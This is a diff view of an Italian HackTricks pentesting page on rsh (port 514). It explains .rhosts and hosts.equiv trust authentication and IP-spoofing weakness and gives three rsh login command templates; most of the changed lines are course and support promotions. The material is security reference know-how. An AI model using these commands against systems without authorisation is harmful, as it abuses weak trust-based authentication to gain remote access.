Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Per l'autenticazione, i file **.rhosts** insieme a **/etc/hosts.equiv** sono stati utilizzati da **Rsh**. L'autenticazione dipendeva dagli indirizzi IP e dal Domain Name System (DNS). La facilità di falsificare gli indirizzi IP, in particolare nella rete locale, rappresentava una vulnerabilità significativa.
|
Per l'autenticazione, i file **.rhosts** insieme a **/etc/hosts.equiv** venivano utilizzati da **Rsh**. L'autenticazione dipendeva dagli indirizzi IP e dal Domain Name System (DNS). La facilità di spoofing degli indirizzi IP, in particolare sulla rete locale, rappresentava una vulnerabilità significativa.
|
||||||
|
|
||||||
Inoltre, era comune che i file **.rhosts** fossero posizionati all'interno delle directory home degli utenti, che spesso si trovavano su volumi di Network File System (NFS).
|
Inoltre, era comune che i file **.rhosts** fossero collocati all'interno delle directory home degli utenti, che spesso si trovavano su volumi Network File System (NFS).
|
||||||
|
|
||||||
**Porta predefinita**: 514
|
**Porta predefinita**: 514
|
||||||
|
|
||||||
## Accesso
|
## Login
|
||||||
```
|
```
|
||||||
rsh <IP> <Command>
|
rsh <IP> <Command>
|
||||||
rsh <IP> -l domain\user <Command>
|
rsh <IP> -l domain\user <Command>
|
||||||
|
@ -34,16 +35,17 @@ rsh domain\\user@<IP> <Command>
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue